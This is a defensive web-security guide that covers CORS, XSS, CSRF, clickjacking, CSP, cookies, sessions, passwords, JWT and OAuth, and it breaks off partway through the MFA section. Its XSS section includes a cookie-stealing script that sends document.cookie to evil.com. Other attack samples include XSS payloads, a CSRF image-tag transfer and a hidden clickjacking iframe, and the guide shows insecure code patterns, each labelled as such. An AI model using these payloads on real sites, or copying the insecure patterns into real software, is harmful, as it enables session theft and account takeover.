Skip to main content

๐Ÿ” Complete Web Security Guide

A comprehensive guide covering web security fundamentals, common vulnerabilities, and modern best practices for building secure web applications.


๐Ÿ“‹ Table of Contentsโ€‹

  1. Introduction to Web Security

  2. Core Security Principles

  3. Browser & Frontend Security

  4. Cookie Security

  5. Authentication & Authorization

  6. Backend & API Security

  7. Transport & Network Security

  8. Security Headers

  9. OWASP Top 10 Deep Dive

  10. Modern Security Practices

  11. Framework-Specific Security

  12. Testing & Auditing

  13. Compliance & Standards

  14. Security Checklists

  15. Resources & Tools


1. Introduction to Web Securityโ€‹

What is Web Security?โ€‹

Web security encompasses all practices, technologies, and processes designed to protect web applications, their users, and data from unauthorized access, attacks, and exploitation. It's a continuous process of identifying vulnerabilities and implementing protective measures.

Key Components:

  • Application Security: Protecting the code and logic
  • Data Security: Protecting sensitive information
  • Network Security: Protecting communication channels
  • Infrastructure Security: Protecting servers and hosting environments

Why Web Security Mattersโ€‹

Real-World Impact:

  • Data Breaches: Average cost of $4.45M per breach (2023)
  • Reputation Damage: Loss of customer trust
  • Legal Consequences: GDPR fines up to โ‚ฌ20M or 4% of revenue
  • Business Disruption: Downtime and lost revenue

Common Attack Vectors:

  • 43% of cyberattacks target small businesses
  • 95% of cybersecurity breaches are due to human error
  • Web applications are involved in 26% of data breaches

Security Layersโ€‹

Web security should be implemented across three layers:

  1. Client Layer (Browser/Frontend)

    • Input validation
    • Secure cookie handling
    • XSS prevention
    • CSRF protection
  2. Server Layer (Backend/APIs)

    • Authentication & authorization
    • SQL injection prevention
    • Rate limiting
    • Secure session management
  3. Network Layer (Infrastructure)

    • HTTPS/TLS encryption
    • Firewall configuration
    • DDoS protection
    • DNS security

2. Core Security Principlesโ€‹

CIA Triadโ€‹

The foundation of information security:

1. Confidentiality

  • Data is accessible only to authorized parties
  • Encryption at rest and in transit
  • Access control mechanisms
  • Data classification

2. Integrity

  • Data remains accurate and unaltered
  • Hash functions for verification
  • Digital signatures
  • Audit trails

3. Availability

  • Systems remain accessible to authorized users
  • Redundancy and backups
  • DDoS protection
  • Disaster recovery plans

AAA Frameworkโ€‹

Authentication - Who are you?

  • Verifying identity
  • Username/password, biometrics, tokens
  • Multi-factor authentication

Authorization - What can you do?

  • Determining access rights
  • Role-based access control (RBAC)
  • Attribute-based access control (ABAC)

Accounting/Auditing - What did you do?

  • Tracking user activities
  • Logging and monitoring
  • Compliance and forensics

Defense in Depthโ€‹

Multiple layers of security controls:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Perimeter Security (WAF) โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Network Security (Firewall) โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Application Security โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Data Security (Encryption) โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Physical Security โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Principle of Least Privilegeโ€‹

Grant minimum access necessary:

  • Users get only required permissions
  • Time-limited access tokens
  • Separation of duties
  • Regular permission audits

3. Browser & Frontend Securityโ€‹

Same-Origin Policy (SOP)โ€‹

What It Is: The cornerstone of web security. Prevents scripts from one origin from accessing data from another origin.

Origin Definition:

Origin = Protocol + Domain + Port

โœ… Same Origin:
https://example.com:443/page1
https://example.com:443/page2

โŒ Different Origin:
https://example.com vs http://example.com (protocol)
https://example.com vs https://api.example.com (subdomain)
https://example.com:443 vs https://example.com:8080 (port)

What SOP Protects:

  • DOM access
  • Cookie access
  • AJAX requests
  • LocalStorage/SessionStorage

Best Practices: โœ… Use: Rely on SOP as foundational protection โœ… Use: CORS for controlled cross-origin access โŒ Avoid: Disabling SOP (never do this) โŒ Avoid: Using JSONP (outdated and insecure)

Cross-Origin Resource Sharing (CORS)โ€‹

What It Is: Mechanism to relax Same-Origin Policy in a controlled manner.

How It Works:

# Browser sends preflight request
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: POST

# Server responds
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST, GET
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

Configuration Examples:

Express.js:

const cors = require('cors');

// โŒ INSECURE - Never do this in production
app.use(cors({
origin: '*',
credentials: true
}));

// โœ… SECURE - Whitelist specific origins
app.use(cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400
}));

// โœ… SECURE - Dynamic validation
app.use(cors({
origin: function (origin, callback) {
const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',');
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));

Best Practices: โœ… Use: Specific origin whitelist โœ… Use: Credentials only with trusted origins โœ… Use: Appropriate methods and headers โŒ Avoid: Access-Control-Allow-Origin: * with credentials โŒ Avoid: Reflecting origin header without validation โŒ Avoid: Overly permissive configurations

Common Mistakes:

// โŒ DANGEROUS - Reflects any origin with credentials
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});

// โœ… SAFE - Validates before reflecting
const allowedOrigins = ['https://app.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
next();
});

Cross-Site Scripting (XSS)โ€‹

What It Is: Injecting malicious scripts into trusted websites that execute in victims' browsers.

Types of XSS:

1. Stored XSS (Most Dangerous)

// Attacker submits comment:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

// Stored in database, executed for all users viewing the comment

2. Reflected XSS

// URL: https://example.com/search?q=<script>alert(1)</script>

// Server reflects input:
<div>Search results for: <script>alert(1)</script></div>

3. DOM-Based XSS

// URL: https://example.com/#<img src=x onerror=alert(1)>

// Vulnerable JavaScript:
document.body.innerHTML = location.hash.slice(1);

Prevention Strategies:

1. Output Encoding:

// โŒ VULNERABLE
function displayName(name) {
document.getElementById('output').innerHTML = name;
}

// โœ… SAFE - Use textContent
function displayName(name) {
document.getElementById('output').textContent = name;
}

// โœ… SAFE - HTML encode
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#039;");
}

2. React (Automatic Escaping):

// โœ… SAFE - Automatic escaping
function UserGreeting({ username }) {
return <div>Hello, {username}</div>;
}

// โŒ DANGEROUS - Bypasses escaping
function UnsafeComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// โœ… SAFE - Sanitize first
import DOMPurify from 'dompurify';

function SafeComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

3. Content Security Policy:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-2726c7f26c';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com;
object-src 'none';

4. Input Validation:

// Server-side validation
const validateUsername = (username) => {
const regex = /^[a-zA-Z0-9_-]{3,20}$/;
if (!regex.test(username)) {
throw new Error('Invalid username format');
}
return username;
};

// Sanitization library
const sanitizeHtml = require('sanitize-html');

const clean = sanitizeHtml(dirtyHtml, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
},
allowedSchemes: ['http', 'https', 'mailto']
});

Best Practices: โœ… Use: Framework's built-in escaping (React, Vue, Angular) โœ… Use: DOMPurify for HTML sanitization โœ… Use: Content Security Policy โœ… Use: HTTPOnly cookies for sensitive data โŒ Avoid: innerHTML with user input โŒ Avoid: eval() with untrusted data โŒ Avoid: document.write() โŒ Avoid: Disabling framework protections

Cross-Site Request Forgery (CSRF)โ€‹

What It Is: Forcing authenticated users to perform unwanted actions.

Attack Example:

<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- User is logged into bank.com, browser automatically sends cookies -->

Prevention Strategies:

1. CSRF Tokens (Synchronizer Token Pattern):

// Express middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/submit', csrfProtection, (req, res) => {
// Token validated automatically
res.send('Success');
});
<!-- HTML form -->
<form method="POST" action="/submit">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<button type="submit">Submit</button>
</form>

2. SameSite Cookies:

// Set cookies with SameSite attribute
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax'
maxAge: 3600000
});

SameSite Values:

  • Strict: Cookie sent only for same-site requests
  • Lax: Cookie sent for top-level navigation (default in modern browsers)
  • None: Cookie sent for all requests (requires Secure)

3. Double Submit Cookie:

// Set CSRF token in cookie AND require it in request
app.use((req, res, next) => {
const token = generateToken();
res.cookie('csrf-token', token, { sameSite: 'strict' });
req.csrfToken = token;
next();
});

// Validate token
app.post('/api/*', (req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];

if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
});

4. Custom Request Headers:

// Frontend - Add custom header
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // CSRF mitigation
},
credentials: 'include',
body: JSON.stringify(data)
});

// Backend - Verify header presence
app.post('/api/*', (req, res, next) => {
if (!req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing required header' });
}
next();
});

Best Practices: โœ… Use: SameSite=Lax or Strict for session cookies โœ… Use: CSRF tokens for state-changing operations โœ… Use: Custom headers for API requests โœ… Use: GET for read-only operations โŒ Avoid: GET requests for state changes โŒ Avoid: Relying solely on cookies for authentication โŒ Avoid: CORS misconfiguration that allows credential sharing

Clickjackingโ€‹

What It Is: Tricking users into clicking on something different from what they perceive.

Attack Example:

<!-- Attacker's website -->
<iframe
src="https://bank.com/transfer"
style="opacity: 0; position: absolute; top: 0; left: 0;">
</iframe>

<button style="position: absolute; top: 100px; left: 100px;">
Click for free prize!
</button>

Prevention:

1. X-Frame-Options Header:

X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN
// Express
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});

// Helmet.js
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));

2. Content-Security-Policy:

Content-Security-Policy: frame-ancestors 'none';
# or
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;

3. JavaScript Frame-Busting (Legacy):

// Not recommended as primary defense
if (top !== self) {
top.location = self.location;
}

Best Practices: โœ… Use: CSP frame-ancestors (modern approach) โœ… Use: X-Frame-Options as fallback โœ… Use: Both headers for maximum compatibility โŒ Avoid: Relying only on JavaScript frame-busting โŒ Avoid: Allowing your site to be framed unnecessarily

Content Security Policy (CSP)โ€‹

What It Is: HTTP header that controls resources the browser is allowed to load.

Basic CSP:

Content-Security-Policy: default-src 'self'

Comprehensive CSP Example:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;

Directive Breakdown:

// Express implementation
app.use((req, res, next) => {
const nonce = generateNonce();
res.locals.nonce = nonce;

res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s+/g, ' ').trim());

next();
});

Using Nonces:

<!-- Server-side template -->
<script nonce="{{nonce}}">
// This will execute
console.log('Allowed script');
</script>

<script>
// This will be blocked (no nonce)
console.log('Blocked script');
</script>

CSP Reporting:

Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;
// Collect CSP violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// Log to monitoring service
res.status(204).end();
});

Best Practices: โœ… Use: Start with Report-Only mode โœ… Use: Nonces for inline scripts โœ… Use: 'strict-dynamic' for modern browsers โœ… Use: upgrade-insecure-requests โŒ Avoid: 'unsafe-inline' and 'unsafe-eval' โŒ Avoid: Overly permissive policies โŒ Avoid: Wildcard sources (*)

Subresource Integrity (SRI)โ€‹

What It Is: Ensures that files fetched from CDNs haven't been tampered with.

Implementation:

<!-- With SRI -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous">

Generating SRI Hashes:

# Using openssl
curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A

# Using Node.js
const crypto = require('crypto');
const fs = require('fs');

const file = fs.readFileSync('library.js');
const hash = crypto.createHash('sha384').update(file).digest('base64');
console.log(`sha384-${hash}`);

Best Practices: โœ… Use: SRI for all third-party scripts and styles โœ… Use: SHA-384 or SHA-512 algorithms โœ… Use: crossorigin attribute with SRI โœ… Use: Multiple hashes for fallback โŒ Avoid: Using SRI without crossorigin โŒ Avoid: Weak hash algorithms (MD5, SHA-1)


Complete Cookie Example:

Set-Cookie: sessionId=abc123;
Secure;
HttpOnly;
SameSite=Strict;
Domain=example.com;
Path=/;
Max-Age=3600;
Expires=Wed, 21 Oct 2025 07:28:00 GMT

Flag Breakdown:

1. Secure

// โœ… HTTPS only - prevents MITM attacks
res.cookie('token', value, { secure: true });
  • Cookie sent only over HTTPS
  • Prevents interception on unsecured connections
  • Always use in production

2. HttpOnly

// โœ… No JavaScript access - prevents XSS cookie theft
res.cookie('sessionId', value, { httpOnly: true });
  • Cannot be accessed via document.cookie
  • Protects against XSS attacks
  • Use for authentication tokens

3. SameSite

// Strict - Maximum CSRF protection
res.cookie('auth', value, { sameSite: 'strict' });

// Lax - Balance of security and usability (default)
res.cookie('session', value, { sameSite: 'lax' });

// None - Required for cross-site cookies (needs Secure)
res.cookie('tracking', value, { sameSite: 'none', secure: true });

SameSite Comparison:

SameSite ValueCross-site GETCross-site POSTUse Case
StrictโŒโŒAuth cookies
Lax (default)โœ… (top-level)โŒSession cookies
Noneโœ…โœ…Third-party cookies

4. Domain & Path

// Scope cookie to specific domain/subdomain
res.cookie('data', value, {
domain: '.example.com', // Available to all subdomains
path: '/api' // Only sent to /api routes
});

5. Max-Age & Expires

// Session cookie (deleted when browser closes)
res.cookie('session', value);

// Persistent cookie with Max-Age (in seconds)
res.cookie('remember', value, { maxAge: 30 * 24 * 60 * 60 * 1000 }); // 30 days

// Persistent cookie with Expires
const expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
res.cookie('temp', value, { expires: expiryDate });

Authentication Cookie (Most Secure):

res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // Strong CSRF protection
maxAge: 3600000, // 1 hour
signed: true // Cryptographic signature
});

Session Cookie Configuration:

const session = require('express-session');

app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sid', // Don't use default name
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 1000 * 60 * 60 * 24 // 24 hours
},
store: new RedisStore({ client: redisClient }) // Use persistent store
}));

Cookie Prefixes:

// __Secure- prefix: Must be set with Secure flag
res.cookie('__Secure-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict'
});

// __Host- prefix: More restrictive
res.cookie('__Host-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/',
domain: undefined // Cannot set domain
});

Session Managementโ€‹

Best Practices:

1. Secure Session Generation:

const crypto = require('crypto');

function generateSessionId() {
return crypto.randomBytes(32).toString('hex');
}

// Store in secure backend (Redis recommended)
async function createSession(userId) {
const sessionId = generateSessionId();
const sessionData = {
userId,
createdAt: Date.now(),
expiresAt: Date.now() + 3600000, // 1 hour
ipAddress: req.ip,
userAgent: req.headers['user-agent']
};

await redisClient.setex(
`session:${sessionId}`,
3600, // TTL in seconds
JSON.stringify(sessionData)
);

return sessionId;
}

2. Session Validation:

async function validateSession(sessionId) {
const sessionData = await redisClient.get(`session:${sessionId}`);

if (!sessionData) {
return null; // Session expired or invalid
}

const session = JSON.parse(sessionData);

// Check expiration
if (Date.now() > session.expiresAt) {
await redisClient.del(`session:${sessionId}`);
return null;
}

// Additional checks
if (session.ipAddress !== req.ip) {
// Log suspicious activity
logger.warn('IP mismatch for session', { sessionId, userId: session.userId });
// Optional: invalidate session
}

return session;
}

3. Session Rotation:

// Rotate session ID after privilege escalation
async function rotateSession(oldSessionId) {
const oldSession = await redisClient.get(`session:${oldSessionId}`);

if (!oldSession) return null;

const newSessionId = generateSessionId();

// Copy session data to new ID
await redisClient.setex(
`session:${newSessionId}`,
3600,
oldSession
);

// Delete old session
await redisClient.del(`session:${oldSessionId}`);

return newSessionId;
}

// Use after login, password change, privilege escalation
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body);

if (user) {
const sessionId = await createSession(user.id);

res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});

res.json({ success: true });
}
});

4. Logout & Session Termination:

app.post('/logout', async (req, res) => {
const sessionId = req.cookies.sessionId;

if (sessionId) {
await redisClient.del(`session:${sessionId}`);
}

res.clearCookie('sessionId', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});

res.json({ success: true });
});

// Logout all devices
app.post('/logout-all', async (req, res) => {
const userId = req.user.id;

// Find all sessions for user
const keys = await redisClient.keys(`session:*`);

for (const key of keys) {
const session = await redisClient.get(key);
if (JSON.parse(session).userId === userId) {
await redisClient.del(key);
}
}

res.json({ success: true });
});

Best Practices: โœ… Use: Server-side session storage (Redis, database) โœ… Use: Secure session ID generation (crypto.randomBytes) โœ… Use: Session expiration and rotation โœ… Use: IP and User-Agent validation โŒ Avoid: Client-side session storage โŒ Avoid: Predictable session IDs โŒ Avoid: Long-lived sessions without renewal โŒ Avoid: Session fixation vulnerabilities


5. Authentication & Authorizationโ€‹

Authentication Methodsโ€‹

Comparison Table:

MethodBest ForProsCons
Session + CookieTraditional web appsServer control, easy revocationScalability, CSRF risk
JWTAPIs, SPAsStateless, portableCannot revoke easily, larger size
OAuth 2.0Third-party authDelegated auth, SSOComplex, token management
WebAuthnHigh securityPhishing-resistant, no passwordsBrowser support, UX learning curve

Password Securityโ€‹

Storage Best Practices:

const bcrypt = require('bcrypt');
const argon2 = require('argon2');

// โœ… SECURE - Bcrypt (industry standard)
async function hashPassword(password) {
const saltRounds = 12; // Higher = more secure but slower
return await bcrypt.hash(password, saltRounds);
}

async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}

// โœ… EVEN BETTER - Argon2 (most modern)
async function hashPasswordArgon2(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16, // 64 MB
timeCost: 3,
parallelism: 1
});
}

async function verifyPasswordArgon2(password, hash) {
return await argon2.verify(hash, password);
}

// โŒ INSECURE - Never do this
function badHash(password) {
return crypto.createHash('md5').update(password).digest('hex');
}

Password Policy Implementation:

const passwordValidator = require('password-validator');

const schema = new passwordValidator();

schema
.is().min(12) // Minimum length 12
.is().max(128) // Maximum length 128
.has().uppercase() // Must have uppercase letters
.has().lowercase() // Must have lowercase letters
.has().digits(1) // Must have at least 1 digit
.has().symbols(1) // Must have at least 1 symbol
.has().not().spaces() // Should not have spaces
.is().not().oneOf(['Password123!', 'Admin123!']); // Blacklist common passwords

function validatePassword(password) {
const errors = schema.validate(password, { list: true });

if (errors.length > 0) {
throw new Error(`Password validation failed: ${errors.join(', ')}`);
}

return true;
}

// Check against leaked password database
const hibp = require('hibp');

async function checkPasswordBreach(password) {
const breachCount = await hibp.pwnedPassword(password);

if (breachCount > 0) {
throw new Error(`This password has been exposed in ${breachCount} data breaches`);
}

return true;
}

Account Security Measures:

// Rate limiting login attempts
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts, please try again later',
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true
});

app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});

// Account lockout after failed attempts
async function handleFailedLogin(userId) {
const key = `failed_attempts:${userId}`;
const attempts = await redisClient.incr(key);

if (attempts === 1) {
await redisClient.expire(key, 900); // 15 minutes
}

if (attempts >= 5) {
await lockAccount(userId, 1800); // Lock for 30 minutes
await notifyUser(userId, 'Account locked due to failed login attempts');
}

return attempts;
}

async function lockAccount(userId, duration) {
await redisClient.setex(`account_locked:${userId}`, duration, '1');
}

async function isAccountLocked(userId) {
return await redisClient.exists(`account_locked:${userId}`);
}

JSON Web Tokens (JWT)โ€‹

Structure:

Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Implementation:

const jwt = require('jsonwebtoken');

// Generate tokens
function generateTokens(user) {
const accessToken = jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role
},
process.env.ACCESS_TOKEN_SECRET,
{
expiresIn: '15m',
issuer: 'api.example.com',
audience: 'example.com'
}
);

const refreshToken = jwt.sign(
{
userId: user.id,
tokenVersion: user.tokenVersion // For token revocation
},
process.env.REFRESH_TOKEN_SECRET,
{
expiresIn: '7d',
issuer: 'api.example.com',
audience: 'example.com'
}
);

return { accessToken, refreshToken };
}

// Verify JWT middleware
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];

if (!token) {
return res.status(401).json({ error: 'No token provided' });
}

try {
const decoded = jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, {
issuer: 'api.example.com',
audience: 'example.com'
});

req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(403).json({ error: 'Invalid token' });
}
}

// Refresh token endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;

if (!refreshToken) {
return res.status(401).json({ error: 'Refresh token required' });
}

try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);

// Check if user exists and token version matches
const user = await getUserById(decoded.userId);

if (!user || user.tokenVersion !== decoded.tokenVersion) {
return res.status(403).json({ error: 'Invalid refresh token' });
}

// Generate new access token
const accessToken = jwt.sign(
{ userId: user.id, email: user.email, role: user.role },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);

res.json({ accessToken });
} catch (err) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
});

// Token revocation (by incrementing tokenVersion)
async function revokeAllTokens(userId) {
await db.query(
'UPDATE users SET token_version = token_version + 1 WHERE id = ?',
[userId]
);
}

JWT Storage Options:

1. HttpOnly Cookie (Most Secure for Web):

// Set JWT in HttpOnly cookie
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15 minutes
});

// Frontend automatically sends cookie
fetch('/api/protected', {
credentials: 'include'
});

2. Authorization Header (Standard for APIs):

// Frontend stores in memory (React example)
const [token, setToken] = useState(null);

// Send with requests
fetch('/api/protected', {
headers: {
'Authorization': `Bearer ${token}`
}
});

JWT Security Best Practices: โœ… Use: Short-lived access tokens (15 minutes) โœ… Use: Refresh token rotation โœ… Use: Strong secret keys (256-bit minimum) โœ… Use: Algorithm verification (RS256 for production) โœ… Use: Token version for revocation โŒ Avoid: Storing sensitive data in payload โŒ Avoid: Long-lived tokens without refresh โŒ Avoid: localStorage for tokens (XSS risk) โŒ Avoid: Using 'none' algorithm

Common JWT Mistakes:

// โŒ DANGEROUS - No signature verification
const decoded = jwt.decode(token); // Never use decode without verify!

// โŒ DANGEROUS - Algorithm confusion attack
jwt.verify(token, publicKey); // Specify algorithm explicitly

// โœ… SAFE
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

// โŒ DANGEROUS - Storing sensitive data
const token = jwt.sign({
userId: 123,
password: 'secret123' // Never store passwords in JWT!
}, secret);

// โœ… SAFE - Only non-sensitive identifiers
const token = jwt.sign({
userId: 123,
role: 'user'
}, secret);

OAuth 2.0 & OpenID Connectโ€‹

OAuth 2.0 Flow (Authorization Code):

1. User clicks "Login with Google"
2. Redirect to: https://accounts.google.com/o/oauth2/auth?
- client_id=YOUR_CLIENT_ID
- redirect_uri=https://yourapp.com/callback
- response_type=code
- scope=openid email profile
- state=random_string (CSRF protection)

3. User authorizes
4. Redirect back with code: https://yourapp.com/callback?code=AUTH_CODE&state=random_string
5. Exchange code for tokens
6. Use access token to fetch user data

Implementation with Passport.js:

const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback',
scope: ['profile', 'email']
},
async (accessToken, refreshToken, profile, done) => {
try {
// Find or create user
let user = await User.findOne({ googleId: profile.id });

if (!user) {
user = await User.create({
googleId: profile.id,
email: profile.emails[0].value,
name: profile.displayName,
avatar: profile.photos[0].value
});
}

return done(null, user);
} catch (err) {
return done(err, null);
}
}
));

// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);

app.get('/auth/google/callback',
passport.authenticate('google', { failureRedirect: '/login' }),
(req, res) => {
// Successful authentication
const sessionId = createSession(req.user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
res.redirect('/dashboard');
}
);

PKCE (Proof Key for Code Exchange) for SPAs:

// Generate code verifier and challenge
const crypto = require('crypto');

function generateCodeVerifier() {
return crypto.randomBytes(32).toString('base64url');
}

function generateCodeChallenge(verifier) {
return crypto
.createHash('sha256')
.update(verifier)
.digest('base64url');
}

// Step 1: Initiate OAuth flow
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);

// Store verifier in session/localStorage
sessionStorage.setItem('code_verifier', codeVerifier);

// Redirect to authorization server
const authUrl = `https://auth.example.com/authorize?` +
`client_id=${CLIENT_ID}` +
`&redirect_uri=${REDIRECT_URI}` +
`&response_type=code` +
`&code_challenge=${codeChallenge}` +
`&code_challenge_method=S256` +
`&scope=openid profile email`;

window.location.href = authUrl;

// Step 2: Exchange code for token
async function exchangeCodeForToken(code) {
const codeVerifier = sessionStorage.getItem('code_verifier');

const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI,
client_id: CLIENT_ID,
code_verifier: codeVerifier
})
});

const tokens = await response.json();
return tokens;
}

Multi-Factor Authentication (MFA)โ€‹

TOTP (Time-based One-Time Password) Implementation:

const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// Generate secret for user
async function setupMFA(userId, email) {
const secret = speakeasy.generateSecret({
name: `YourApp (${email})`,
issuer: 'YourApp'
});

// Save secret to database (encrypted)
await saveUserMFASecret(userId, secret.base32);

// Generate QR code
